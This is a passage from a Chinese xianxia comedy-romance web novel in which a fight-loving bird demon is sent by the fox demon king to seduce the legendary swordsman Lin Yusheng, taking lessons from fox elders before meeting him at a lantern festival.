《重生后被派去勾引道侣了》 1. 很简单的 接到妖王传信的时候,我正在酣畅淋漓地揍一个魔修,听见后面动静也没回头,又是一拳抡上去。 “您您、您打完了?” 十三蹲在一边的树上,小心翼翼地探着脑袋看过来。 “打完了。”我翻来翻去地搜他身上的东西,“有话就说。我忙得很。” 搜出来两个乾坤袋,低阶符箓若干,中品灵石若干,收获还不错。再来几个就能把我那把捡来的剑重新淬炼一遍了。我很满意。 “妖王、妖王让你明日到西山殿一趟……”十三话音还没落地,就扑棱着翅膀飞远成了一个小点,“好了我话带到了,我走了……” 我不明白他怎么这么怕我。我们统共见过三次,这三次我都记得清清楚楚——我一次在揍一个碍眼的鹿妖,一次在劈山匪窝,还有这次在揍魔修。我分明没对这个叫十三的传信鸟动过一次手。 我不理解。但这不重要。 先回我的小屋子点一点东西是正经。我前几日刚刚偷学到了御剑飞行的法门,这会儿正好试一试。 剑身摇摇晃晃地离地,我跳上去,晃了几下站稳,按照记忆之中的法诀催动它转弯。 这不是很简单吗?昨日那个弟子怎么跟着他师兄学了两个时辰都学不会。 回到村子的时候天色已经黑了,小小的村庄在几点灯火里面成了模糊的影子。 我把白日里两个乾坤囊里面值钱的东西挑出来,跟之前攒的灵石拢在一起点了两遍,在桌上留下三十块中品灵石,心满意足地把其余的收好。 装好了三十块中品灵石,我推开村子最东头的门,看见青婉果然还是坐在她的丹炉子旁边。 她不知道在写什么,没抬头:“站远一点。我怕你吓着我的丹。它们很娇弱的。” “……” “灵石。”我把那个小袋子在桌上放下来,“给你的。没什么事我走了。” 青婉掀起眼皮看我一眼:“听说妖王要见你?见你做什么?” “是。”我点头,想了想,“你不是总说我修为提升得比别人快很多很多吗?也许他是叫我去打架的。” 我算过,现在差不多要三五年才能突破一个大境界,二十年过去也才跟人族的元婴差不多。我问过青婉怎么样能更快一点,她关了门一整天没跟我说一句话。 青婉摇摇头,顿了片刻:“不好说……你最近都做什么了?” 我想了想。好像也没做什么,跟平常一样揍几个碍眼东西而已。 我这样告诉她,青婉皱眉:“妖王轻易不露面的。你是不是惹到不该惹的了?我早告诉过你……” “不知道。”我摇摇头,“反正谁让我受苦我就揍谁。” “……” 青婉嘴角抽了抽,她似乎不太爱听这种话。 不爱听也是实话。 我是二十年前在人妖两界交界西山的处化的形。眼下负责镇守这地方的妖王好像不太管事,大乱没有,小乱不断。 我一路挨揍,在一个村子里面找到了一口饭吃,留了下来。 这村子不像狐族、木妖他们的地盘,没什么厉害人物罩着,不安定。住了一段时日,我发现村里面的主心骨是个叫青婉的年轻修士。 青婉据她自己说,是个从前在小宗门里面待过的丹修。不知道什么原因,她出了宗门又留在了这个小村庄里面,很勉强地应付来找事的人或者妖。 我来的时候妖力还不太稳当,经常现出来灰扑扑的原型。村里没谁理我,我正好也顾不上理谁——我见了其他妖怪和偶尔路过的修士才知道打架不是只靠蛮力,还有条路子叫修炼。 一只鸟的蛮力终归有限,而这能引动山海之力。我觉得这个很好。 这地方没谁愿意教我。于是我过上了很规律的生活:到处偷学,被发现,挨揍,爬回来,修炼,再出去到处偷学。 青婉有时候会从门里面给我扔几瓶丹药出来。 她问我:“你图什么?这么喜欢挨打,都不知道怕的?” 青婉总是试图跟这些蠢蛋们讲道理,想劝他们改变想法,想避免纷争,虽然这群蠢蛋根本理解不了她口中的那些仁义公道。 公道只能从绝对的力量压制底下产生。我想。 在第六个年头,我把村子周围几十里的碍眼东西都收拾了一遍,在村口串了绳子挂上他们的妖丹法器本命剑之后,这村子实在是清净不少。 青婉给我扔过不少丹药。我按照打听来的价格自己记了账。还好我会写的那几个字够用。 这次给青婉的灵石应该够上个月的丹药了。我这样回味了一遍自己在西山二十几年朴实平淡的生活,见她还在沉默,于是开口问她:“有没有其他事?没事我就走了。” 青婉摇摇头,放下笔,一个沉甸甸的小袋子被扔到我怀里:“就算你天赋的确远超常人,到底年纪也还太轻。要是情况不对,别逞强,该打点的就打点。实在不行,里面还有些传送符。” 她一个总烧出来残次品、有时候还炸炉子的丹修,居然还有钱? 我掂了掂:“你一个丹修,哪来的?” 青婉瞪我:“我偷来的,行了吧?” 好吧。 清晨的时候,我顺路把青婉那小袋子又塞回她窗缝里面了。 我揍的都是碍眼东西。要我因为这种事情花那么些灵石讨好其他的碍眼东西,我办不到。我觉得没这个道理。 在西山殿前面停了剑,我跳下来,收剑入鞘。早有人上来问我:“是不是闻鄢?” 我点头,打量他的神色。对面这人好像是个牛妖,颇为魁梧。我正在想几招能够把他放倒,听见他笑道:“妖王等您多时了。跟我来吧。” 我皱眉:“妖王找我做什么?” “这我就不知道了,但想来是好事。”他哞地一笑,“来吧。” 我头一次来西山殿。和我们那个小村子很不同,这地方有高高的台阶和铺着琉璃瓦的屋顶,在日光底下像粼粼的水面。我多看了几眼。 鸟很喜欢亮晶晶的东西。 穿过长廊又走过甬道,终于到了妖王所在的正殿。我知道人族与妖族一百多年之前签了契约,妖界归三名大妖分开来管。而西山现在这个叫九诘的妖王据说是最不顶用的,除了脾气好一无是处。 听说很早很早以前那个签契约的、不知道叫什么的西山妖王是一只大鸟,比他厉害很多、也凶很多,不知道这个位置怎么到了他手上。 我也是头一次见到九诘。他看起来是个青年,穿着很华丽的袍子坐在高座上,见到我忽然一愣,紧跟着眼睛一亮,手中扇子一收,连说三声好好好。 什么好?好什么? 我正疑惑,见他站起来走下台阶,朝我走近几步。我本能地戒备,却见他只是站在那里,把我从头看到脚,又从脚看到头,来来回回地看,念叨什么“果然不是他”“但真是像啊”“真是有几分像啊”。 我很疑惑。他这什么毛病? “我是闻鄢。”我说,“不知道妖王召我过来什么事。” 一想到可能会有魔修或者别的什么被旁人发现,身上的值钱东西也会被旁人拿走,我就着急。 他似乎才发现自己刚才的表现很奇怪,收了面上神色,清了清嗓子。 “闻鄢啊,我听人说起过你。”他还在上下打量我,“听说你这个妖……嗯,很不错啊。” 十三在旁边好像没忍住叽了一声,又赶紧捂住嘴,只留下眼中的惊讶神色。 我实话实说:“我只揍人的。你听说的是这个吗?” 九诘沉默片刻,他说:“也好……也好。” “总之呢,我听说过你,”他神情浮夸地比比划划,“并且我觉得你实在是可塑之才,可堪大用,准备培养培养你,再给你些很重要的任务,好让咱们西山不被旁人欺负,你看怎么样?” 我听出来他什么意思了,懒得和他继续啰嗦:“你有事情要我做?要我揍谁?” “是……是有事情让你做,但不是揍人。打打杀杀的,多不好呢……” 我觉得西山早晚完蛋在他手上。 他自顾自地摇摇头:“说来话长了……” 我想到被别人抢先的乾坤袋就着急,耐着性子和他说话:“那长话短说呢?” 九诘不知道为什么,我一说话,他就沉默。 “我想了又想,还是觉得,咱们西山得有一个可靠的盟友。要是有哪个大宗门肯往咱们这里多派点修士啊拨点灵石啊什么的,那咱们西山岂不是就好起来了?” 他说得对。我看他:“但是哪个大宗门比较傻呢?”< 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“知道,”我面无表情,“林玉声,百年前的修真界剑修第一人,眼下常年闭关。” 九诘摇头晃脑:“好歹他也是修真界第一的美人,你完全不关心他那张脸吗?” 我说:“不关心。说正事。” “……” 九诘深呼吸一下,面色勉强如常。他说:“好吧。整个修真界都知道林玉声和咱们之前那个妖王从前是道侣……” “等一下,”我说,“我不知道。” 对这种事情不感兴趣,我也没打听过这种事情。九诘顿了顿:“你、你连这个都不知道?行吧……我也不知道他俩当年怎么莫名其妙成的道侣,要不是林玉声自己说出来我都不知道他们俩什么时候认识的……这不重要,你知道这件事就行了。” “好吧。”我说,“所以呢。” 我到底为什么还坐在这里听他说废话? 九诘神色忽而一暗。我觉得他更适合出去说书:“只是那人……那人一百多年前在放鹿山就魂飞魄散了。” 放鹿山我知道,一百多年前有仙人堕魔,横行千里,就是在那里被镇压的。那个很厉害的妖王是在这里魂飞魄散了? “我这样或许对不住他。但为了西山,我也没有办法。”他自言自语,点头又摇头,“他……算了。他会理解的。” 我已经准备站起来了:“跟我到底有什么关系?” 九诘看着我,像是忽然下了什么决心:“这件事只有你能做成。” “林玉声是青云宗的长老,”他按住我的肩膀,一字一句道,“你跟咱们之前的妖王、林玉声的心上人,长得很有几分相像。” 我啊了一声:“他是我爹?” “什么有的没的,”他撇嘴,“他哪来的孩子?他跟林玉声哪个能生?——刚才我也看过了,你跟他一点关系都没有。” 好吧。我想了一想,没想明白,噢了一声。 九诘摇头:“我找到你费了很多功夫……所以我说,只有你能做成。” 见他目光恳切,我想了想,恍然大悟:“你是想让我装成你说的那个老妖王,半夜去吓唬林玉声,然后趁机把他绑来西山,以此威胁青云宗吗?” 我觉得这个主意不太行。听起来有点不太良心。 “……” 九诘喃喃道:“为什么偏偏是你长了这张脸?这真的行得通吗……” 我说:“我也觉得这种事情听起来行不通。算了吧。” “什么算了?不许算了!”九诘忽然瞪我,“西山!为了西山!” 他说:“不要你绑他。听着,你跟他那个早就魂飞魄散的道侣长得能有几分像,这是我们西山的机缘。我要你想办法接近他,哄住他,勾引他,然后给西山骗来点钱骗来点人——青云宗富得很呢……” 我震惊地看他。 “很简单的,”九诘拍拍我的肩膀,“勾引个人而已,比打架简单得多了。” 他说完很得意:“怎么样,我这个计划是不是比你说的那个好多了。” 我没说话。我在思考现在篡了他的妖王之位,能有几成把握。 2. 狐族长老 九诘回来的时候,我正坐在偏殿里面,在脑海中来回推演剑招。隔着淡青色的珠帘,我看见九诘带进来两个人。 他扇子挑起来珠帘,看了看我,很是欣慰:“这样认真,一定是在想我们的大计。” 九诘说着对上我的眼神,又犹疑道:“……是吧?” 我站起来:“妖王有话还是直说吧。” 虽然我觉得很荒谬,但九诘说的事情,我早上还是答应了。 九诘开出来了两个条件。 其一,一月为期,只要我做这件事,不管成与不成,都给三百上品灵石。 其二,青云宗灵气充沛,适合修炼。林玉声还曾是天下闻名的剑修,跟着他,也许我可以学点东西。 我想了想,觉得虽然此事还是很离谱,似乎也不吃亏。三百上品灵石,够我每天杀十个魔修了。何况倘若真像他说的那样,到青云宗走一趟能提些修为,回来之后打架更上一层楼,这很好。 最重要的是,我算了一下,我现在篡他妖王之位的把握还不到三成。日后再说。 所以我当时打断了他对林玉声天花乱坠的赞美,告诉他:“可以。我做。” 九诘先是高兴,又是发愁。他说:“你会勾引人吗?你知道勾引两个字怎么写吗?你至少见到他不要跟他打起来吧,真的要硬靠这张脸吗……” 他念念叨叨地把我留在偏殿,说他要去想办法。我看了看他带进来的两个人:“这就是妖王想的办法?” 九诘点头,坐下来:“我特意请了族中两位长老过来,他们都很擅长这种事情的。你跟着他们好好学。” 我抬头看了一看。九诘是狐族,他身后站着的一男一女想来就是狐族的长老了,都是桃花眼风流面,瞧着我笑。我悄悄多看了几眼他们亮闪闪的簪子手镯。鸟喜欢。 九诘一一给我介绍,漂亮青年叫风晴,妩媚女子叫鸣琅,说完又指指我:“二位长老,这就是我说的那位闻鄢。此次之事,还要风长老与鸣长老费心了。” 风晴没说什么。鸣琅偏了偏头,发间步摇垂下来的长长坠子便跟着光华流动,碰出点很清脆的响声。 “妖王,你之前可没说闻小郎君长得这么俊。不够意思。” 她说着忽然走近两步,指尖托着我的下巴略略抬起来,浓郁花香气围绕过来。我一激灵,险些拔剑。 “这么紧张做什么?”鸣琅眯着碧绿色的眼睛笑起来,又凑近一点,语调拖得轻而长,“叫什么长老,生分的很。叫姐姐就是了,嗯?” 她额间发饰叮叮当当地乱晃,指腹在我下巴很轻地打转。我被人靠得这么近,拼命按捺住想跟她动手的冲动,挤出来几个字:“长老……自重。” 鸣琅顿了片刻,一下子松开我的下巴,大笑几声,和方才妩媚旖旎神色大不相同:“还真是不解风情。妖王,你可真会选人。” 九诘干笑几声:“所以要你们费心……多费心。” 他站起身:“我就把他交给你们了。再过半个月,就是林玉声会下山的时候,我来留意他的行踪,”他又看了看我,正色道,“届时就看你了。” 我应下来。反正无论如何,我都有三百灵石。 三百上品灵石呢。 九诘每天都很忙,虽然不知道在忙什么,交代了几句就转身出去。 我不想在这件事上浪费很多时间。九诘出了门,我问两人:“我们现在就开始学勾引人吗?” 早点学会了勾引人,我好早点出去接着打架。 西山碍眼东西多得很呢。 风晴和鸣琅对视一眼,我觉得他们神色和九诘说不出话的时候有点像。我想,这大概是因为他们都是狐族。 鸣琅笑了笑,自己在桌旁坐下,托着下巴,目光往上挑着看我:“好吧。” 我抱着剑看她。鸣琅笑色更明显了:“你真是有意思,我喜欢呢。” 她看着我视线不转,抬了右手,一旁的风晴把几枚玉简放到她手中。 ——鸣琅指甲长长的,末端涂着一点红色丹蔻。我想,打架的时候也许很好用。 “林玉声这些年深居简出,我们对他也不甚了解。”她开了口,“但是你记着头一点,他再好看、再厉害,你万万不可太过直接,也别想不该想的东西——他不是什么温和容忍的人,早年觊觎他的人多得是,想过歪主意的有一个算一个,被他废了修为都算轻的了。” 那听起来很好了。 “眼下时间又紧,只有半个月的功夫,你又不是狐族,不会狐媚之术。好在你有这张脸,这些时日跟着我们学些最简单的手段,想来不会出什么差错。” 她把那几枚玉简递给我:“好了,该和你讲正经东西了——这里面是我们狐族都要学的入门典籍,你自己有空了多看看。我先来与你讲一讲最重要的几点。” 我点点头,鸣琅继续说下去。 “其一,敌进你退,敌退你进。” 这个我明白。我说:“他攻势迅猛,我就暂避锋芒找到破绽,他力有不支,我就趁机追击,是这个意思?” 鸣琅敲敲桌子:“不是让你跟他论剑打架!” 好吧。我说:“那我不太明白。” “举个例子。林玉声既然是高傲冷淡,那你刚见了面,就不能像个木头一样杵着。无论他怎么对你,你都要努力往他跟前凑,装作什么都不知道,满心满眼都只有他一个人的样子。等他对你感兴趣了,你就要收起来一点,话要说、事要做,但不能像以前那么多,让他觉得你心里还有他,但跟从前不太一样,明白吗?” 好吧。前者好办,我把他想象成一块很大的灵石就是了。后者再说吧,他也不一定能对我有什么兴趣。 我点头,鸣琅接着道:“其二,区别对待。让他知道对你来说,他是‘特殊’的存在。” 她拿起来旁边的茶杯:“再举个例子。你给他倒茶,这种小事一般人也不会记你的情。但是你要当着他林玉声的面,拒绝给别人倒茶。” 我开始觉得这三百灵石不是那么好赚了。 “其三,”鸣琅居然还在讲,“没事找事。跟别人,最好是跟他有点交情但没那么亲近的人,制造一点小小的矛盾——记住,一定要是很小的矛盾,再主动把过错揽到自己身上。别造成任何麻烦,但让他林玉声知道你在乎他——对了,记得配合一下神情,风晴,你演一下,给他看看。” 风晴原本神色闲闲站在一旁,闻言竟然只一瞬便微微蹙了眉头,眼尾泛起一点红色,睫毛颤颤地眨了几下眼睛,目光低低撇下去,抿着唇不说话,好像受了什么天大的委屈。 我闭了闭眼睛,偷偷磨后槽牙。 “鸣长老,”我说,“我听说狐族很擅长易容之术的,要不找个人易容成我这个样子……” “那不行呢。”鸣琅笑了几声,“我们的易容术,可瞒不住流玉峰主呢。” 学艺如此不精还笑得出来! 我忍了忍,又忍了忍。 ——忍不了了。 我站起来:“我去和妖王说,另请高明吧。” “小闻鄢,别着急呀。”鸣琅笑吟吟地拦在我面前,“又没要你假戏真做,做做样子而已,跟打架一样的——我以为你胆子很大呢,你不会……是怕了吧?” 怎么可能! 我皱眉不说话,她偏偏头:“再说了,我听说这个流玉峰主剑法高明得很,看一看就能大有长进,更不要说跟他切磋一番了。多少人求着等着想见他都不行呢,你有这样好的机缘,要是真能成事,顺势跟他学一学剑法,回来之后想做什么不行?” 我有一点犹豫了。我问鸣琅:“这个林玉声,真的打架很厉害吗?” “那自然了。”鸣琅挑挑眉毛,“百年前的第一剑修,你说呢?甚至当年有飞升过的仙人堕魔作乱,几千里无一人拦得住,放鹿山一战不也是他林玉声出的手么?” 我皱着眉想了一想:“那我这些年怎么没听说……他做过什么?” 鸣琅看我一眼:“你才多大,化 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“就是当年的林峰主呢。”鸣琅抿唇笑道,“这可是我特意从妖王那里讨来的宝贝。怎么样,现在对这件事,有没有一点兴趣?” 我不说话了,许久勉强点了点头。 “好了,这事就这么定了。”鸣琅扬起眉毛,抽走我手中的留影石眨了眨眼睛:“小闻鄢,记好了,这就是我要教你的第四点,也是最重要的一点——所有其他的手段都是次要的。窥见对方欲望,攻心为上。” “……” 好吧。 半个月里面,我白日出去打架,晚上回来研究鸣琅给我那几枚玉简里面的东西,每隔几日给鸣琅风晴二人展示一下成效。 我觉得我大有进益。昨日那个邪修一下子扯住我的衣摆,颇为凄切地和我讲她连杀十余个无辜路人的苦衷。我从前还会听几个字,现在看到她那个表情就知道她在使用典籍中名为颠倒黑白的第七十三式,一点废话都没听就出了剑。 晚上和鸣琅讲的时候,我看见她叹口气揉着自己额角。我说:“不是第七十三式吗?” 鸣琅睁开眼睛,神色似乎有点疲惫:“……是。” 她说:“我这辈子也想不到,有人是拿着这个典籍用在打架上。” 我说:“那你现在知道了。” “……” 九诘不知道绕了多少弯子,拿到了林玉声下山的消息,此刻也在旁边坐着。他拍拍鸣琅的肩膀,颇为乐观:“也罢,他至少真的学了一些东西。有这张脸呢,还是很有戏的。” 我问他:“我什么时候去找林玉声?” 九诘展开地图,点了点上面圈出来的一个小点:“他今日才下了山,他大概要明日晚间能到这个莲心镇——我可告诉你,林玉声百年里除了每十年到这个地方待一晚上,其他时间半步不出流玉峰,也轻易不许外人进。咱们务必把握好这个机会。” 我跟着他的手指看了看。这地方距离西山大概有二百里。九诘接着说:“等到明日早上,我布传送阵送你过去,大概要半刻钟的功夫。你到了之后,就想办法‘偶遇’他。” 鸣琅沉吟片刻:“用不用我跟着他一起去?我真的觉得吧,他能跟林玉声直接打起来。” 我说:“林玉声见我第一面就会愿意和我打架吗?” 那很好了。 鸣琅又开始扶额叹气。九诘沉默片刻,点了点头:“鸣长老,辛苦你跑一趟吧。” 风晴在一边一直没说话,鸣琅哄着他跟自己一道去莲心镇。我看九诘:“妖王还有没有其他事情?” 九诘摇摇头:“没什么事了——怎么?” 我诚实道:“明日就要去勾引林玉声,这典籍我还有十二式没看完,没什么事我就回去接着看了。” 九诘看看我欲言又止,又看看鸣琅和风晴。 “你们知道的,”他说,“我很少怀疑自己的决定的。” 3. 林玉声。 天色擦亮的时候,我收拾好了自己的小包裹。 也没有很多东西,我塞了些手里存着的那些常用的丹药符箓,把到处捡来的亮晶晶的石头装好,背了把剑就关了我那间小破屋子的门。 村子里面很安静,我远远见到青婉的身影站在村口。背后茫茫群山与荡荡沙尘把她衬成很小的一点青色。 “妖王怎么想的……”她走过来塞给我几瓶丹药,皱眉看我,“就你这个样子,怎么做得成这种事情?真是的……” 事以密成,九诘连消息都守不住,我看他的三百灵石要打水漂了。 但没关系。我会笑纳。 我把昨日那个邪修的项链一并挂在村口:“三百灵石呢。有谁来找事就给我传信。我走了。” 她摇摇头,到底没再说什么话。 我到西山殿的时候,鸣琅和风晴在殿外等我。鸣琅好像要给风晴理发簪上的带子,后者正略微躲开一点她的手,见我过来立刻招呼我:“闻鄢。” 鸣琅收了手,略带嗔怪看我一眼:“小闻鄢,你来的可真是时候。” 我看了看她,又看了看低着头自己理袖子的风晴,了然:“我明白了。” 鸣琅歪歪头:“你明白什么了?” 我说:“鸣长老,你现在就是在和我制造小矛盾,我把你这句话顶回去,风长老就会看不下去来开口,然后你就会自己装作很可怜地认错,再用第三十二式哄风长老,对不对?” 两个人瞪着眼睛看我。我有点疑惑,翻出来玉简:“我说错了吗?没说错吧。” “……没说错。”鸣琅似笑非笑地叹口气,“来吧。到莲心镇之前,再给你好好打扮一下。” 想到今日要前去勾引林玉声,我特意从几件衣服里面挑出来了最好的一件,是深蓝色的,还没怎么穿过,比平时那些衣服都鲜亮一些,把头发拿发带高高扎起来的时候也仔细了一些。我觉得看起来还是不错的。 跟着鸣琅穿过长长回廊的时候,我问她:“我这样子不合适吗?” “还差点意思。”她按着我在铜镜前面坐下,“让我看看。” 我在镜子里面看见风晴在后面捧了个匣子,甫一打开就被日光照得流光溢彩,被照得微微睁大了眼睛。 “你也喜欢?我倒真想把这些首饰都给你戴上呢,不然真是可惜了你这张脸。”鸣琅指尖有一下没一下地点着桌角,“可惜你年纪还小呢,穿简单一点,看起来可怜一些、天真一些,让林玉声对你产生怜爱之心是最好的……嗯,现在这样就挺好的,你还挺上道的嘛。” 我诚实道:“这是我最好的衣服。” “……” “罢了……只是现在这样有点太简单了,人都还是喜欢漂亮东西的。” 她挑出来条深蓝色的发带,和我衣服的颜色很相近,但料子实在是好得多,上面还有暗金色的云纹,尾端坠着两条细细红璎珞。 “换这个。”她随手递给我,对着镜子看着我重新束了头发,想了一想又让风晴在我衣襟前面别上条细细的银链子,晃起来有很轻的响声。 这样折腾了一刻钟,鸣琅端详我片刻,还算是满意地点点头:“嗯,这样就好多了。” 我也很满意。银链子亮闪闪的,鸟也喜欢。 风晴去请九诘过来布传送阵,屋子里面只有我们二人,鸣琅不说话,看了很久我的剑,又看看我垂到肩头的红流苏。 “难为你学到现在。”她忽然笑了,“你说世人好笑不好笑?偏偏都吃这一套。” 我不知道。我的确不喜欢这一套。那为什么世上人会陷进去呢? 我这样告诉鸣琅,她沉默片刻,抬手扶正半偏的牡丹簪子,摇摇头:“我也好笑呢。” 她说完便不说话,只剩下发间珠玉轻轻撞在一起的声响,很浅的涟漪一样。 “好了,”她又是平常那副笑颜色,拢着轻纱长袖,“见到林玉声,别着急打架,也别那么刻意。记住了吗?” 我第一次来到西山之外的地方。 九诘把我们传送到了莲心镇的一条深深小巷之中,我们到的时候正是清晨。晨雾已经快要散尽了,日光顺着高高的黛瓦白墙流淌下来。我听见有尾音拖得长长的曲调,跟着舟楫声遥遥地荡过来。 和西山卷着沙尘的、粗粝的风不一样,这里的风细细的,到处都香香软软的,映着日光整个透亮,我探着头,有些好奇。 “好了,接下来就看你的了。” 我回头,看见鸣琅与风晴都换了装束与面容,此刻看着只是两个寻常的青年。鸣琅顺手理了理我的头发与发带,端详一下:“先前和你说的那个地方,还记得吧?” 根据九诘到处得来的消息,林玉声到莲心镇上,每次总会到镇子东边的十四桥待一晚上,不知道做什么。 我点点头,鸣琅道:“去吧。我们就在你附近。” 其实他们不用对我这么不放心的。想一想三百灵石,我也会认真勾引林玉声的。 风晴又重复:“不许打架。” 好吧。 “对了,”鸣琅又叫住我,“每年的这个时候是莲心镇的花灯节,来往的人多,难免有浑水摸鱼的魔修,你当心一点。” 魔修?还有这种好事? 我应下来,转身出去。 九诘之前给我看过莲心镇的地图。从这个位置到十四桥,要穿过大半个镇子。 神仙巷、胭脂河、菡萏集。莲心镇处处热闹,但实在是一个很小的地方。我穿过一路高高低低的柳深花浅,在十四桥头站下。 既然消息说他总是晚上的时候来十四桥,我就在这里等着他便是。 九诘给我看过林玉声的画像。画上人长眉凤眼,玉冠长剑,看起来的确很漂亮。我想,他要是到这里,我应该是一眼就能够认出来他的。 上午无事发生,我看见有个魔修装成书生路过做坏事,拉他进小巷子几下解决,捞了个满满当当的袋子。 中午无事发生,旁边卖酥酪的老妇送了我一碗,凉凉甜甜的,很好吃。我把上午打劫来的钱偷偷藏在她的碗底下。 下午还是无事发生。我看着日头一点点地偏移,见到林玉声的时间也一点点靠近。我在推演剑招的间隙,不由得一遍遍地好奇林玉声到底是什么人。 九诘说他不好相处,鸣琅说他矜傲冷淡。那他和我长得很像的那个所谓“心上人”,又是什么样子呢? 我在桥头等到薄暮时分的时候,忽然看见镇上星星点点地亮起了灯。和我见过的小小油灯不同,屋外挂着的、镇上人举着的,都是很大、很漂亮的灯,蝴蝶、鱼龙、牡丹都被烛影照着,明明暗暗地在路上桥上摇曳。 ——这应该就是我在书里面见到过的“花灯”! 鸟喜欢亮亮的东西。我想,我就在十四桥上附近走一走,应该是不打紧的。 莲心镇的路面桥面都是青石砖铺的,我很喜欢踏上去的声响,跳着追着赶上晃过去的蝴蝶灯,想看清它翅膀上面的花纹。 走上十四桥的时候,我目光瞥见一点晶亮,又一下子停下了脚步。 桥下水上很安静地浮着几盏莲花灯,琉璃灯辉摇摇晃晃地映在水面上。我也许看了很久,旁边的老头笑呵呵地问我:“怎么样,小郎君,要不要买一盏?” 我还没说话,他已经提起来了手边的一盏,和桥下的那些莲花灯一样:“你看看,我们家的手艺可是传了几代的呢——买一盏吧,我给小郎君算便宜些。” 便宜些要多少钱呢?方才打劫来的乾坤袋里面好像有一些人间用的铜板。 我看到的第一眼就莫名很喜欢,犹豫一下,到底还是没忍住,小心翼翼地接过来他递给我的那盏莲花灯,问他:“要多少钱?” 莲花灯小小一盏,我只敢很轻地托着这盏灯,它看起来很漂亮,漂亮到一看就很容易碎。尤其是在我这种人手里。 琉璃花瓣摇摇晃晃地捧着一点烛火,我忽然见到一个模模糊糊的人影映在上面,下意识地转过头去—— 这一眼灯辉翻转,一霎间弓弦惊断,琉璃灯险些跌碎。 怎么会如此呢? 我在桥头专心等了一整日都没见到人的林玉声,正站在三尺之外,长发逶迤,惊诧眼底照出惊诧的我。 怎么会这样呢? 我就这样一瞬间结成了石雕,想说话却说不出,想动也动弹不得,恍恍然看着他仙人眉眼,心下 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反手把灯塞回老头怀里,我不敢看林玉声,拔了剑足尖一点跳下去,距离那魔修几步远的时候,突然见到他周身黑气暴涨。旁边一个十几岁的女孩尖声叫着便要冲进去,我横了剑鞘挥退她,斥剑刺向那团黑雾,跟着瞬移到他跟前。 我方才刺中了他的腹部,趁机上去掐住他的脖子。 鸟是妖族,力气很大。我手上加了一下力道他便顶不住,松了手,方才被他提着的女孩落下来伏在地上。我扫了一眼,没什么大问题,又看向那个魔修。 他面色苍白,嘴角黑纹,我认出来是专以凡人精气供养自己的寻欢宗魔修。那没什么好说的了。 方才是见着他手上有人,我图快直接闯进来,不防被他也黑爪插进了左肩。他此刻还想挣扎,我正准备催动剑诀解决他,却突然见清光一闪,一柄长剑乍然飞掠过去,尖叫的黑雾散开来。 我一愣。 ——这魔修因为这一剑,神魂俱灭了! 什么人下手这么狠? 我怔了一瞬,才想起来在一堆散乱衣物中摸出来这魔修的乾坤袋,塞进腰间,准备起身时见一角淡粉色匆匆忙忙地进入我的视线。 ……林玉声? 下手这样不留余地,说不准这人是和林玉声有什么仇?那我刚才还挺碍事的,毕竟仇人还是得自己手刃。 失策。失策。 方才被我挥退的那个女孩扶着她被魔修抓去的朋友,在旁边颠三倒四地谢来谢去,我摆摆手,很是发愁地站起来。 从呆子变成了一个碍事的呆子,留下一个不太好的初印象,我接下来还要怎么勾引他呢。 随手在伤处点了几下,我搜完东西站起来,大概是思索得太急,没防住趔趄一步。 但我跌入的是一个很柔软的地方。浅淡的香气把血腥气拨开来。我眼睛睁大了一点。 ——林玉声竟然接住了我! “你怎么……”林玉声指尖聚起来灵力,点在我肩膀伤处,眉梢眼角却是和方才那一剑气势完全不同的关切焦急神色,“你怎么样?” 原来他的声音是这样的。和他离得这么近,我一时说不出半句话来,只是被他扶着靠在肩上,余光瞥见我的伤口在快速地愈合。 ——也许是我看错了。他指尖好像在很轻地颤抖。 “没什么……” 我实在是觉得这就是点小伤,随便找个地方自己躺一会儿就好了,习惯性地想说没什么事不用管,忽然想起来一件事,忙止住话头。 我是来勾引他的。眼下的情景与时机,正是典籍之中被格外标注出来的第二十一式“无以为报以身相许”! 好险,差点就勾引不到他了。还好鸟这会儿比方才清醒了。 “仙长,”我努力按照玉简中的描述,手指揪住他的衣角,压低声音又眨几下眼睛,“我、我有点疼……” 我其实还没说完,但我实在有点装不下去了。但林玉声只听了这两句便忽然更紧地抱住我,层层堆叠衣袖把我围住。他很轻地拂着我的头发与颈侧。 “好了,没关系了……”他声音很轻地打着颤,落在我耳边,“我带你回去,我在这儿呢……” 我大惊。这第二十一式这么管用? 4. 有钱人! 林玉声好像很有钱。 我从榻上探出来头,看了一圈屋内的花瓶箱柜,又拨了拨床帏上垂下来的细细流苏。我记得村子里面只有个床板的小客栈一晚上还要十文钱,这地方想来要贵得多。 雕花木门一响,我看见出去片刻的林玉声转身回来,手里端着个小瓷碗,又赶紧躺回去。他方才出去的时候,叫我好好躺着,不要乱动。 “这就对了。”他见我老老实实地躺在那里,点点头,随手在一旁桌子上放下碗。我嗅觉还算敏锐,又在青婉的丹炉房里面待过一阵子,闻出来那碗里面是寻常的几味灵草。 “方才你伤口渗进去了一点魔气,”他解释道,“喝一点药,不然之后要疼好几天的。好不好?” 他语调轻而温和,站在榻边,用那双漂亮眼睛很关切地看我,银发冠上垂下来的红珠子很轻地晃来晃去。 林玉声的剑,我听说过,而今也见过了。剑修多是凛冽,或者像我一样凶巴巴的。而且不是说他脾气很不好的吗?怎么会是这样温温柔柔的一个人呢。 我实在、实在没见过这种情景,也不懂为什么旁人说他不好相处。书上也没讲过,多说多错,我只看着他点点头。 林玉声拿过个枕头垫在我头下,叫我能坐起来一点,自己坐在榻边,勺子在碗里面搅了几下,“这样行吗?” 我刚刚放松下来一点,又被他动作弄得很惊讶。 我很早以前给村子东头的人家采过一段时间的草药,好攒钱买一对护腕。那时我偷偷觉得他家的阿大很娇气,区区摔断个脚这种小伤就要整日躺在床上养着倒也算了,居然还要他哥哥扶着才肯磨磨蹭蹭地坐起来端着碗喝药。 没想到还有这种更娇气的方式! 我忙伸手要接过来药碗,磕磕绊绊地开口:“我自己、自己就可以……” “好了。”林玉声轻巧地抬手避开,似乎很好笑地看着我,不知道为什么又自己轻轻地叹气,“也不看看自己是个什么样子。安分一点。” 不知道是不是因为是个大能,他说话似乎有股让人听话的魔力。我小心翼翼地张嘴,闭嘴,咽下去,再张嘴。 原来林玉声是这么讲究的一个人。我其实不太习惯跟这种人相处,但此刻只记得他袖子里面也是香香的。 我回过神来,才发现碗竟然就已经空了,林玉声把勺子放回碗中,很清脆的叮当一声。 就这么一点? 没经过思考地,嘴巴自己开始说话:“还有吗?” 林玉声把药碗放回桌上,闻言笑了:“还想喝自己熬去。” 我不敢说话了,错开目光,一阵清香涌入我的鼻腔,而后嘴里被塞了个不知道什么东西。 好甜。什么东西这么甜。 我抬头看林玉声,他把帕子折好放在一旁,顺手把盘子里的东西也捏了一个往自己嘴里放。 